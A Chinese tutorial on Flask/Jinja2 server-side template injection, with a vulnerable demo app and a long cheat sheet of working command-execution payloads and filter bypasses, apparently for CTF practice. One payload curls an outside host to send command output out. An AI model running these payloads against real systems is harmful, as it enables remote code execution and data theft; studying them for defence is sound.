当前位置: 首页 > news >正文

SSTI注入

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

  • 何为模板引擎?

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

1、后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

2、前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

举例:

<html>
<div>{$what}</div>
</html>

此时想要呈现在用户面前的是数据的详细名字,但是{$what}并不知道具体的数据,因此此时需要用url或者cookie包含的信息来渲染到what的变量里,最终呈现在前端的结果:

<html>
<div>d3f4u1t</div>
</html>

flask

flask说白了就是基于python的一种模板,一种轻量级的web框架

补充一下python Flask库的基本知识:

  • route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如:

@app.route('/')
def test()"return 123

可以根据需要设置不同的路径,以达到访问不同路径触发不同函数的效果

此外还可以设置动态网址,

from flask import Flaskapp=Flask(__name__)
@app.route("/test/<username>")
def test(username):return "用户名:%s"%usernameif __name__=='__main__': app.run(host='0.0.0.0',port=5000,debug=False)       

如下:

image-20250120211453264

  • main入口

当.py文件被直接运行时,if __name__=='__main__'之下的代码块将被运行;当.py文件以模块形式被导入时,if __name__=='__main__'之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写if __name__=='__main__'是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。

  • 模板渲染

可以使用 render_template() 方法来渲染模板。需要做的就是将模板名和想作为关键字的参数传入模板的变量。

例:

from flask import render_template@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):return render_template('hello.html', name=name)

render_template函数渲染的是templates文件夹中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

结构如下:

├── app.py  
├── static  
│   └── style.css  
└── templates  └── index.html

写一个index.html文件到templates文件夹

<html><head><title>{{title}} - d3f4u1t</title></head><body><h1>Hello, {{user.name}}!</h1></body>
</html>

user及title是需要渲染的参数

在app.py中进行渲染:

@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():user = {'name': 'test1'}#传入一个字典数组return render_template("index.html",title='Home',user=user)

效果:

image-20250120213434669

这样就完成了一次模板的渲染

SSTI分析

先上代码:

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_stringapp = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' %(request.url)return render_template_string(template)if __name__ == '__main__':app.run(host='0.0.0.0',port=5000,debug=True) 

先说下render_template_string和render_template的区别:

  1. render_template()函数渲染一个指定的文件 , 这个指定的文件其实就是模板
  2. render_template_string()函数用来渲染一个字符串

这里的request.url可控,同时引擎渲染的是字符串,因此就可以构造python的调用链来实现攻击

  • 攻击原理

首先我们知道在flask框架中{{}}是会执行代码的

image-20250120225030321

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

打开cmd运行python环境,查看空字符的所属的类:

image-20250120223306030

返回了<class ‘str’>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。

image-20250120223403485

可见已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mromro给出了method resolution order,即解析方法调用的顺序,如下:

展现了方法的调用顺序

image-20250120223442830

正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。接下来增加代码。接下来使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

image-20250120223629639

然后需要在子类中找到合适的类,再从合适的类中寻找需要的方法。通常会用到<class ‘os._wrap_close’>类

通常子类的数量很多,可以用以下的脚本来进行每局直到匹配到需要的类

import requests
from tqdm import tqdmfor i in tqdm(range(233)):url = 'http://demourl/?parameter={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'r = requests.get(url=url).textif('os._wrap_close' in r):print(i)

以该demo为例:

import requests
from tqdm import tqdmfor i in tqdm(range(233)):url = 'http://127.0.0.1:5000/test?{{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'r = requests.get(url=url).textif('os._wrap_close' in r):print(i,end='\n')break

image-20250120224736883

显示是第134个(因为序号0算第一个)

这个时候再利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__}}

这里找到popen方法,相当于os.open,然后使用read()从该管道文件对象中一次性读取所有命令执行后的输出结果并返回为字符串。

image-20250120225437292

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

image-20250120225603689

  • 总结

实战中SSTI的出现并不多,当然在CTF中较常出现,因此在理解了SSTI的原理后,下一步应该积累更多的过滤技巧

如:

1.过滤[]等括号

使用gititem绕过。如原poc {{“”.class.bases[0]}}

绕过后{{“”.class.bases.getitem(0)}}

2.过滤了subclasses,拼凑法

原poc{{“”.class.bases[0].subclasses()}}

绕过 {{“”.class.bases[0]‘subcla’+'sses’}}

3.过滤class

使用session

poc {{session[‘cla’+'ss’].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

import timeit
timeit.timeit("__import__('os').system('whoami')",number=1)import platform
print platform.popen('dir').read()

还有以下的:

过滤了点

jinja2中除了Python中靠点获取属性,还可以用中括号,也即:

''.__class__ = ''['__class__']

除此之外,如果连中括号也过滤了的话,还有一个|attr的过滤器,过滤器可以与Linux中管道符|进行类比,也即用前面的(输出)作为后面操作的对象

''.__class__ = ''|attr('__class__')

过滤了中括号

过滤了中括号的情况下,除了可以用上文说到的attr过滤器,还可以使用魔法方法__getattribute__来获取属性,__getitem__来获取字典中的键值

''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] = url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是字典

url_for是Flask中一个特殊的方法,在模板注入中可用于命令执行:

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")              
#另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}#自己发现这两个也有
{{url_for.__globals__['os'].popen('dir').read()}}config #{{config}}所有设置,也可以用于获得其他东西
#如下
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}#实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__'] #这里面有个opne函数,open("filename").read可以直接读取文件
#foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658> 

对于字典,我们还有其他的一些方法

url_for.__globals__.pop('__builtins__')#删除某个键值,返回值是改键值,不过不建议轻易使用,因为可能删除掉重要的东西
url_for.__globals__.get('__builtins__')#得到某个键值,这个好用
url_for.__globals__.setdefault('__builtins__')#和get类似

后来发现居然忽视了Python可以直接用点操作符

{{url_for.__globals__.__builtins__}}

而过滤了中括号最大的影响,实际是列表取值,还好列表也可以使用__getitem__

''.__class__.__mro__[-1] = ''.__class__.__mro__.__getitem__(-1)

过滤了关键字

对于模板注入,比较有效的方法就是禁止掉payload中的关键字(如class、init等),那么,对于此,我们要怎么绕过呢

1.拼接

''.__class__ = ''['__cla' + 'ss__']
#或者使用过滤器 ('__clas','s__')|join

其实并不需要加号

''.__class__ = ''['__cla''ss__']

2.还可以使用~进行拼接

''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

3.转置

''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse

4.利用str内置方法

''.__class__ = ""['__cTass__'.replace("T","l")] = 
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss") 

5.编码绕过

可以利用Python的字符串格式化

''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
#或者使用过滤器  ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

6.还可以利用十六进制的字符绕过

''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]

还可以利用chr函数进行转换,但是我们先要找到chr函数

{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

7.使用request

request              #request.__init__.__globals__['__builtins__']
request.args.x1   	 #get传参
request.values.x1 	 #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1   	 #post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 #post传参	(Content-Type:a/b)
request.json		 #post传json  (Content-Type: application/json)

payload:

{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read(){{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)

过滤了单双引号

{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag

还可以利用上面用的chr()方法

{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()

过滤了双花括号

双花括号,即:\{\{ 或者 \}\}

{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()

上面的意思即:

__init__ -> __globals__ -> __getitem__ -> __builtins__ -> __getitem__(eval) -> eval(...)

还可以

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过

构造字符


有时候过滤特别严格得时候,我们就需要自己想法来构造字符串

过滤器 ()|select|string

()|select|string`得到的结果是: `<generator object select_or_reject at 0x十六进制数字>

可以看到有下划线什么的,然后我们就可以用()|select|string[24]等来取字符,其实foobar|select|string也是一样的

{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"

如果过滤了中括号,还可以使用foobar|select|string|list转换为列表后,使用pop或者__getitem__来取值

dict(clas=a,s=b)|join

使用dict(cla=a,s=b)|join后,得到的是字符串”class”,可以直接看看下面的payload

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join()  实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

dict(e=a)|join|count

当过滤数字的时候,我们可以用这种方法得到数字

dict(e=a)|join|count #1
dict(ee=a)|join|count #2

相关文章:

SSTI注入

ssti漏洞成因 ssti服务端模板注入&#xff0c;ssti主要为python的一些框架 jinja2 mako tornado django&#xff0c;PHP框架smarty twig&#xff0c;java框架jade velocity等等使用了渲染函数时&#xff0c;由于代码不规范或信任了用户输入而导致了服务端模板注入&#xff0c;…...

根据经纬度查询地理位置信息API

API 概述 接口名称&#xff1a;查询地理位置信息V2接口类型&#xff1a;HTTP GET接口地址&#xff1a;https://api.kertennet.com/geography/locationInfo_v2请求编码格式&#xff1a;utf-8 请求说明 请求头部 标签类型必填说明参数示例Content-Typestring是请求的内容类型…...

【知识分享】PCIe5.0 TxRx 电气设计参数汇总

目录 0 引言 1 参考时钟--Refclk 2 发射端通道设计 3 发送均衡技术 4 接收端通道设计 5 接收均衡技术 6 结语 7 参考文献 8 扩展阅读 0 引言 PCI Express Base Specification 5.0的电气规范中&#xff0c;关键技术要点如下&#xff1a; 1. 支持2.5、5.0、8.0、16.0和3…...

Airsim 项目结构分析

Airsim 项目结构分析 本文只分析最核心的 AirLib 项目结构&#xff0c;以及其与 Unreal 项目的关系 假如已经根据 Airsim 主页&#xff0c;克隆了完整项目。 Build on Linux - AirSim 克隆源码 # go to the folder where you clone GitHub projects git clone https://git…...

STM32+W5500+以太网应用开发+003_TCP服务器添加OLED(u8g2)显示状态

STM32W5500以太网应用开发003_TCP服务器添加OLED&#xff08;u8g2&#xff09;显示状态 实验效果3-TCP服务器OLED1 拷贝显示驱动代码1.1 拷贝源代码1.2 将源代码添加到工程1.3 修改代码优化等级1.4 添加头文件路径1.5 修改STM32CubeMX工程 2 修改源代码2.1 添加头文件2.2 main函…...

SQLmap 注入-03 获得用户信息

1: Sqlmap 先进入库&#xff0c;然后进入table, 然后列出column: sqlmap -u "http://192.168.56.133/mutillidae/index.php?pageuser-info.php&usernamexiaosheng&passwordabc&user-info-php-submit-buttonViewAccountDetails" --batch -p username -D …...

Kafka 和 MQ 的区别

1.概述 1.1.MQ简介 消息中间件&#xff0c;其实准确的叫法应该叫消息队列&#xff08;message queue&#xff09;&#xff0c;简称MQ。其本质上是个队列&#xff0c;有FIFO的性质&#xff0c;即first in first out&#xff0c;先入先出。 目前市场上主流的MQ有三款&#xff…...

若依报错:无法访问com.ruoyi.common.annotation

无法访问com.ruoyi.common.annotation 若依的父工程的pom文件中设置了jdk为1.8&#xff0c;将idea的jdk也改为1.8即可。...

MCU、MPU、SOC、ECU、CPU、GPU的区别到底是什么

MCU、MPU、SOC、ECU、CPU、GPU的区别 参数MCUMPUSoCECUCPUGPU处理能力低至中中至高综合&#xff0c;视具体设计而定专用于汽车控制中至高高&#xff08;并行能力强&#xff09;集成度高低高高低&#xff08;需配合主板使用&#xff09;低&#xff08;通常作为外部设备&#xff…...

档案事业与数据要素之间有什么关系?

在数字时代背景下&#xff0c;档案事业正经历着前所未有的变革。随着大数据、云计算、人工智能等技术的快速发展&#xff0c;档案数据已成为重要的基础性战略资源和关键生产要素。那么档案事业与数据要素之间究竟有什么关系&#xff1f; 一、档案数据要素的内涵与价值 数据要…...

HarmonyOS NEXT:华为分享-碰一碰开发分享

随着科技的不断进步&#xff0c;智能手机和智能设备之间的互联互通变得越来越重要。华为作为科技行业的领军企业&#xff0c;一直致力于为用户提供更加便捷、高效的使用体验。HarmonyOS NEXT系统的推出&#xff0c;特别是其中的“碰一碰”功能&#xff0c;为用户带来了前所未有…...

nuxt3项目打包部署到服务器后配置端口号和开启https

nuxt3打包后的项目部署相对于一般vite打包的静态文件部署要稍微麻烦一些&#xff0c;还有一个主要的问题是开发环境配置的.env环境变量在打包后部署时获取不到&#xff0c;具体的解决方案可以参考我之前文章 nuxt3项目打包后获取.env设置的环境变量无效的解决办法。 这里使用的…...

面试:Hadoop,块,HDFS的优缺点,HDFS的读写流程

Hadoop CDH会简化Hadoop的安装 Hue主要用于数据分析和处理&#xff0c;而CM(Cloudera Manager)则主要用于集群的管理和运维。 HDFS HDFS的块 块是 HDFS 系统当中的最小存储单位, 在hadoop2.0和3.0中默认128MB 在HDFS上的文件会被拆分成多个块&#xff0c;每个块作为独立的单…...

Codeforces Round 903 (Div. 3) E. Block Sequence

题解&#xff1a; 想到从后向前DP f[i] 表示从 i ~ n 转化为“美观”所需要的最少的步骤 第一种转移方式&#xff1a;直接删除掉第i个元素&#xff0c;那么就是上一步 f[i 1] 加上 1;第二种转移方式&#xff1a;从第 i a[i] 1 个元素直接转移&#xff0c;不需要增加步数&a…...

web-view环境下,H5页面打开其他小程序

在Web-view环境下&#xff0c;H5页面无法直接打开其他小程序。正确的实现方式是先从H5页面跳转回当前小程序&#xff0c;再由当前小程序跳转到目标小程序。具体实现方法如下&#xff1a; H5页面跳转回小程序时&#xff0c;调用wx.miniProgram.navigateTo()方法。 小程序跳转到…...

C语言之饭店外卖信息管理系统

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 C语言之饭店外卖信息管理系统 目录 设计题目设计目的设计任务描述设计要求输入和输出要求验…...

【三维分割】Gaga:通过3D感知的 Memory Bank 分组任意高斯

文章目录 摘要一、引言二、主要方法2.1 3D-aware Memory Bank2.2 三维分割的渲染与下游应用 三、实验消融实验应用: Scene Manipulation 地址&#xff1a;https://www.gaga.gallery 标题&#xff1a;Gaga: Group Any Gaussians via 3D-aware Memory Bank 来源&#xff1a;加利福…...

【Linux系统】—— 编译器 gcc/g++ 的使用

【Linux系统】—— 编译器 gcc/g 的使用 1 用 gcc 直接编译2 翻译环境2.1 预处理&#xff08;进行宏替换&#xff09;2.2 编译&#xff08;生成汇编&#xff09;2.3 汇编&#xff08;生成机器可识别代码&#xff09;2.4 链接2.5 记忆小技巧2.6 编译方式2.7 几个问题2.7.1 如何理…...

读西瓜书的数学准备

1&#xff0c;高等数学&#xff1a;会求偏导数就行 2&#xff0c;线性代数&#xff1a;会矩阵运算就行 参考&#xff1a;线性代数--矩阵基本计算&#xff08;加减乘法&#xff09;_矩阵运算-CSDN博客 3&#xff0c;概率论与数理统计&#xff1a;知道啥是随机变量就行...

【数据结构篇】顺序表 超详细

目录 一.顺序表的定义 1.顺序表的概念及结构 1.1线性表 2.顺序表的分类 2.1静态顺序表 2.2动态顺序表 二.动态顺序表的实现 1.准备工作和注意事项 2.顺序表的基本接口&#xff1a; 2.0 创建一个顺序表 2.1 顺序表的初始化 2.2 顺序表的销毁 2.3 顺序表的打印 3.顺序…...

Flink把kafa数据写入Doris的N种方法及对比。

用Flink+Doris来开发实时数仓,首要解决是如何接入kafka实时流,下面是参考Doris官方文档和代码,在自己项目开发的实践中总结,包括一些容易踩坑的细节。 目录 Routine Load方法 接入kafka实时数据 踩坑的问题细节 Flink Doris Connector方法 完整示例 Routine Load方法…...

leetcode刷题记录(七十八)——105. 从前序与中序遍历序列构造二叉树

&#xff08;一&#xff09;问题描述 105. 从前序与中序遍历序列构造二叉树 - 力扣&#xff08;LeetCode&#xff09;105. 从前序与中序遍历序列构造二叉树 - 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一…...

imread和jpeg_read在MATLAB中处理图像时的不同

目录 1.功能差异 2.输出格式 3.颜色空间 4.处理阶段 5.用途 6.性能 1.功能差异 imread&#xff1a;这个函数用于读取各种格式的图像文件&#xff08;包括JPEG、PNG、BMP等&#xff09;并将其转换为MATLAB中的矩阵。它适用于读取图像并直接在空间域中进行处理。jpeg_read…...

P9069 [Ynoi Easy Round 2022] 堕天作战 TEST_98 Solution

Description 给定长为 n n n 的序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1​,a2​,⋯,an​)&#xff0c;有 m m m 个操作&#xff0c;分以下两种&#xff1a; modify ⁡ ( l , r , k ) \operatorname{modify}(l,r,k) modify(l,r,k)&#xff1a;对于所有…...

SCPI命令笔记

1. 读取设备信息 *IDN? 2. 复位仪器 *RST 3. 清除设备的状态寄存器和事件队列 *CLS 4. 读取设备数据(发一个指令&#xff0c;读取一次) READ? 5. 读取设备电压(功能和第4条命令达到一样的效果) MEAS:VOLT? 6. 读取设备电流 (功能和第4条命令达到一样的效果) MEAS:CURR? 7.…...

TCP创建通信前的三次握手(为啥不是两次?)

1.三次握手的过程 客户端发送 SYN&#xff08;同步&#xff09;报文 客户端向服务器发送 SYN 标志的数据包&#xff0c;请求建立连接&#xff0c;表示 "你好&#xff0c;我要连接你"。 服务器回复 SYNACK&#xff08;同步确认&#xff09;报文 服务器收到 SYN 后&am…...

2024.ailx10的年终总结

已经工作7年啦&#xff0c;今年网络安全行业愈发寒冷&#xff0c;几乎所有友商都在做安全GPT&#xff0c;说实话&#xff0c;AI确实颠覆了传统的网络安全运营&#xff0c;以前需要安服处置告警&#xff0c;以后可能就不需要了&#xff0c;大家日子都不好过&#xff0c;越是简单…...

洛谷P8837

[传智杯 #3 决赛] 商店 - 洛谷 代码区&#xff1a; #include<stdio.h> #include<stdlib.h> int cmp(const void*a,const void *b){return *(int*)b-*(int*)a; } int main(){int n,m;scanf("%d%d",&n,&m);int w[n];int c[m];for(int i0;i<n;…...

【Day23 LeetCode】贪心算法题

一、贪心算法 贪心没有套路&#xff0c;只有碰运气&#xff08;bushi&#xff09;&#xff0c;举反例看看是否可行&#xff0c;&#xff08;运气好&#xff09;刚好贪心策略的局部最优就是全局最优。 1、分发饼干 455 思路&#xff1a;按照孩子的胃口从小到大的顺序依次满足…...

以太网详解(五)GMII、RGMII、SGMII 接口时序约束(Quartus 平台)

文章目录 接口时序Avalon Streaming 接口时序Receive TimingTransmit Timing GMII 接口时序Receive TimingTransmit Timing RGMII 接口时序Receive TimingTransmit Timing 如何创建 .sdc 约束文件三速以太网系统时钟信号创建 set_input_delay&#xff0c;set_output_delay 约束…...

Java中的错误与异常详解

Java中的错误与异常详解 Java提供了一种机制来捕获和处理程序中的异常和错误。异常和错误都继承自 Throwable 类&#xff0c;但它们有着不同的用途和处理方式。 1. Error&#xff08;错误&#xff09; Error 是程序无法处理的严重问题&#xff0c;通常由 JVM&#xff08;Java…...

使用 HTML 开发 Portal 页全解析

前言 在当今数字化时代&#xff0c;网站作为企业和个人展示信息、提供服务的重要窗口&#xff0c;其重要性不言而喻。而 Portal 页&#xff0c;作为网站的核心页面之一&#xff0c;承担着引导用户、整合信息等关键任务。那么&#xff0c;如何使用 HTML 开发一个功能齐全、界面…...

高并发内存池_CentralCache(中心缓存)和PageCache(页缓存)申请内存的设计

三、CentralCache&#xff08;中心缓存&#xff09;_内存设计 &#xff08;一&#xff09;Span的创建 // 页编号类型&#xff0c;32位下是4byte类型&#xff0c;64位下是8byte类型 // #ifdef _WIN64 typedef unsigned long long PageID; #else _WIN32 typedef size_t PageI…...

Js:DOM中的样式(包含行内样式、滚动样式、可见区域样式等)

这部分还在更新 1、 获取行内样式&#xff1a;元素.style.样式名称 2、 获取当前正在显示的样式&#xff08;只能读&#xff0c;不能修改&#xff0c;想要修改要使用style&#xff09;&#xff1a; ① 只有ie支持&#xff1a;元素.currentStyle.样式名称 ② 其他浏览器&…...

【leetcode 26】28.找出字符串中第一个匹配项的下标 | 实现 strStr()==❗不会❗==

在一个串中查找是否出现过另一个串&#xff0c;这是KMP的看家本领。 // 方法一 class Solution {public void getNext(int[] next, String s){int j -1;next[0] j;for (int i 1; i < s.length(); i){while(j > 0 && s.charAt(i) ! s.charAt(j1)){jnext[j];}if…...

Unity自学之旅04

Unity自学之旅04 Unity自学之旅④&#x1f4dd; 跳跃&#x1f42f; 攻击&#x1f984; GUIGUI前置&#xff0c;显示收集物品数量和角色HpUGUI游戏暂停和重新开始 &#x1f917; 总结归纳 Unity自学之旅④ &#x1f4dd; 跳跃 public class PlayerBehaviorRigid : MonoBehavio…...

Unreal Engine 5 C++ Advanced Action RPG 十章笔记

第十章 Survival Game Mode 2-Game Mode Test Map 设置游戏规则进行游戏玩法 生成敌人玩家是否死亡敌人死亡是否需要刷出更多 肯定:难度增加否定:玩家胜利 流程 新的游戏模式类游戏状态新的数据表来指定总共有多少波敌人生成逻辑UI告诉当前玩家的敌人波数 3-Survival Game M…...

[Unity 热更方案] 使用Addressable进行打包管理, 使用AssetBundle进行包的加载管理.70%跟练

在正常的开发过程中我们经常遇到一些关于热更的方案,有一些已有的方案供我们选择,但是实机情况往往不尽如人意,各有优缺点. 现在我们同样有一个热更的需求,但是要求打包简单,加载过程可查,防止出现一些资源和流程的问题. 下面介绍我在项目中使用的方案. 打包方面使用Addressabl…...

人工智能领域单词:英文解释

目录 1、前言2、单词组1&#xff1a;15个3、单词组2&#xff1a;15个4、单词组3&#xff1a;15个5、单词组4&#xff1a;15个6、单词组5&#xff1a;15个 1、前言 亲爱的家人们&#xff0c;创作很不容易&#xff0c;若对您有帮助的话&#xff0c;请点赞收藏加关注哦&#xff0…...

工业网口相机:如何通过调整网口参数设置,优化图像传输和网络性能,达到最大帧率

项目场景 工业相机是常用与工业视觉领域的常用专业视觉核心部件&#xff0c;拥有多种属性&#xff0c;是机器视觉系统中的核心部件&#xff0c;具有不可替代的重要功能。 工业相机已经被广泛应用于工业生产线在线检测、智能交通,机器视觉,科研,军事科学,航天航空等众多领域 …...

NextJs - ServerAction获取文件并处理Excel

NextJs - ServerAction获取文件并处理Excel 一. 客户端二. ServerAction 处理 一. 客户端 use client; import { uploadExcel } from actions/batchInquirySystem/api; import type { UploadProps } from antd; import { Upload } from antd;/*** 创建问询内容*/ const Page …...

【深度学习项目】语义分割-FCN网络(原理、网络架构、基于Pytorch实现FCN网络)

文章目录 介绍深度学习语义分割的关键特点主要架构和技术数据集和评价指标总结 FCN网络FCN 的特点FCN 的工作原理FCN 的变体和发展FCN 的网络结构FCN 的实现&#xff08;基于Pytorch&#xff09;1. 环境配置2. 文件结构3. 预训练权重下载地址4. 数据集&#xff0c;本例程使用的…...

集群、分布式及微服务间的区别与联系

目录 单体架构介绍集群和分布式架构集群和分布式集群和分布式区别和联系 微服务架构的引入微服务带来的挑战 总结 单体架构介绍 早期很多创业公司或者传统企业会把业务的所有功能实现都打包在一个项目中&#xff0c;这种方式就称为单体架构 以我们都很熟悉的电商系统为例&…...

ConvBERT:通过基于跨度的动态卷积改进BERT

摘要 像BERT及其变体这样的预训练语言模型最近在各种自然语言理解任务中取得了令人印象深刻的性能。然而&#xff0c;BERT严重依赖于全局自注意力机制&#xff0c;因此存在较大的内存占用和计算成本。尽管所有的注意力头都从全局角度查询整个输入序列以生成注意力图&#xff0…...

C# 网络协议第三方库Protobuf的使用

为什么要使用二进制数据 通常我们写一个简单的网络通讯软件可能使用的最多的是字符串类型&#xff0c;比较简单&#xff0c;例如发送格式为(head)19|Msg:Heart|100,x,y,z…&#xff0c;在接收端会解析收到的socket数据。 这样通常是完全可行的&#xff0c;但是随着数据量变大&…...

「2024 博客之星」自研Java框架 Sunrays-Framework 使用教程

文章目录 0.序言我的成长历程遇到挫折&#xff0c;陷入低谷重拾信心&#xff0c;迎接未来开源与分享我为何如此看重这次评选最后的心声 1.概述1.主要功能2.相关链接 2.系统要求构建工具框架和语言数据库与缓存消息队列与对象存储 3.快速入门0.配置Maven中央仓库1.打开settings.…...

【Elasticsearch】Springboot编写Elasticsearch的RestAPI

RestAPI 初始化RestClient创建索引库Mapping映射 判断索引库是否存在删除索引库总结 ES官方提供了各种不同语言的客户端&#xff0c;用来操作ES。这些客户端的本质就是组装DSL语句&#xff0c;通过http请求发送给ES。 官方文档地址 由于ES目前最新版本是8.8&#xff0c;提供了全…...

Swift语言的学习路线

Swift语言的学习路线 引言 在现代程序开发中&#xff0c;Swift语言逐渐成为了移动应用程序开发的重要工具&#xff0c;尤其是在iOS和macOS平台上。自2014年发布以来&#xff0c;Swift以其易读性和强大的功能&#xff0c;受到越来越多开发者的青睐。对于初学者而言&#xff0c…...

63,【3】buuctf web Upload-Labs-Linux 1

